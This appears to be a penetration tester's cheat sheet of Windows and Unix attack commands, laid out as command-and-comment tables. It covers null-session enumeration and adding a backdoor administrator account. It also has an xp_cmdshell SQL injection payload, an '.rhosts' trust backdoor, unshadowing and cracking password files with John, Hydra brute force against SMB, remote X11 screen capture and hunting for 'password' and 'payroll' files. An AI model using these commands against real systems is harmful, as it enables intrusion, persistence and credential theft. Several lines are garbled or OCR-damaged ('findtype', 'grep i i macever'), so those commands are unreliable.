<u>Windows –</u>

Domain:	Comment
net view	list computers on domain
net view \\ <target ip="" name=""></target>	list shares on host
net view /domain	list domains
net view /domain: <domain name=""></domain>	list computers on named domain
net user edward williams /add	add a user
net localgroup Administrators edward /add	add to administrators group
nbtscan 192.168.226.0/24	Scans smb domain

Domain Controllers:	Comment
nltest /dclist: <domain name=""></domain>	Domain controllers
nltest /dsgetdc: <domain name=""> /pdc</domain>	More pdc info
nltest /bdc_query: <domain name=""></domain>	bdc info (if any)
nltest /server: <ip> /trusted_domains</ip>	Need null share

Hosts:	Comment	
net use \\ <target>\ipc\$ "" /u:""</target>	null session	
nbtstat -a <name> / -A <ip></ip></name>	netbios name table and target mac	
epdump <target></target>	look for ips in endpoints	
enum -SUPc	enum shares/users/password policy	

SQL:	Comment
';Exec xp_cmdshell 'net user <user> <passwd> /add';</passwd></user>	beware of password complexity issues
<pre>sp_configure 'show advanced options', 1 reconfigure sp_configure 'xp_cmdshell', 1 reconfigure</pre>	set advanced options then use next statement: this will re-enable xp_cmdshell if turned off

Windows Misc:	Comment
dir filename /s	Find file called filename and all sub
	dirs
findstr /S /I "password" *.txt	Find all occurrences of password in
or	text files
findstr /S /I /M "password" *.txt (just	
print files)	
psexec \\192.168.0.1 -s cmd.exe	Null session first
Tasklist /?	
Tasklist /svc	
Tasklist /FI "USERNAME eq NT AUTHORITY\	
SYSTEM" /SVC	
Then	
Sc qc <servicename></servicename>	

<u>Linux / Unix -</u>

NFS:	Comment
showmount -e <target></target>	displays exports
sudo mount -t nfs <target>:/<export></export></target>	don't forget to mkdir mount point
<mount point=""></mount>	
adduseruid <uid>gid <gid> <username></username></gid></uid>	note password policy on local (+6
	chars)
su - <user> and ssh-keygen</user>	Switch and gen keys for ssh
X	Comment
xwininfo -tree -root -display <ip>:0 </ip>	will pipe back hex value for
grep -i term	window
xwd -root -display <ip>:0.0 xwud</ip>	capture screen
xwd -id <hex value=""> -display <ip>:0 xwud</ip></hex>	capture specific screen
xkill -display <ip>:0</ip>	kill process/window
x-dumper.sh	

SCP:	Comment
scp file ed@ninja:/home/ed	copy file to ninja
<pre>scp ed@ninja:/home/ed/file file</pre>	copy file from ninja

Putty Copy:	Comment
<pre>pscp.exe ed@192.168.226.162:/home/ed/Desktop/test.txt c:\</pre>	Copy from ssh host to c:\

Finger:	Comment
finger -l @target, 0@target, .@target, **@target	long list
finger (user, admin,)@target	various flaws in finger
finger '1 2 3 4 5 6 7 8 9 0'@target	Solaris 8 Bug

R Services:	Comment
echo + + > /usr/bin/.rhosts	 look in users home dir
	check/etc/hosts.equiv

John	Comment
unshadow /etc/passwd /etc/shadow > file	Change /etc/john/john.conf
john -i:mode file	to match min passwd req.
john -wordlist=words.txt file	

hydra	Comment
hydra -e ns -l user -P words.txt -v <ip> smb</ip>	bash it

Unix Misc:	Comment
findtype f -name *payroll*	Solaris find file names

2>/dev/null (case sensitive)	
<pre>findtype f grep -i 'Payroll' 2>/dev/null (case insensitive)</pre>	
findtype f -exec grep -i -l	Solaris find file content
'Payroll' '{}' \; 2>/dev/null	Solaris find the content
find / -type f -iname '*Payroll*' 2>/dev/null	Linux find file names
grep -i -l -r whatever * 2>/dev/null	Linux find file contents
grep i i macever 227 dev/mace	Linux find the contents
Sind ()	77, 101
<pre>find / -type f -exec grep -i -l "password" '{}' \; 2>/dev/null</pre>	Find files
or	
grep -i -l 'password' *	
find / -type f -print grep -i "passwd"	Solaris find case insensitive
2>/dev/null	
find / -type f \(-perm -04000 -o -perm	SUID / SGID (-0)
-02000 \) 2>/dev/null	Word writable
find / -type f -perm -002 showrev -p, uname -a, pkginfo -x	Solaris patch info
netstat -nap - list processes and ports	Solaris paten illio
(needs sudo)	
lsof -i :port	
lsof -p <pid> -P (-P gives port)</pid>	
ps -ef (list processes)	
ovnort DATH-¢DATH, (who tower (hech)	Add nothin DACITAL about and
export PATH=\$PATH:/whatever (bash)	Add path in BASH/sh shell – valid
PATH=\$PATH:/whatever	for terminal session only
export PATH (sh)	

Network Mapping	Comment
dig @ <nameserver> <domain name=""> axfr</domain></nameserver>	Zone transfer
traceroute <target></target>	Default udp (-I ICMP, -T TCP, default
	port 80).
ping -R <target></target>	Record route, read from bottom up.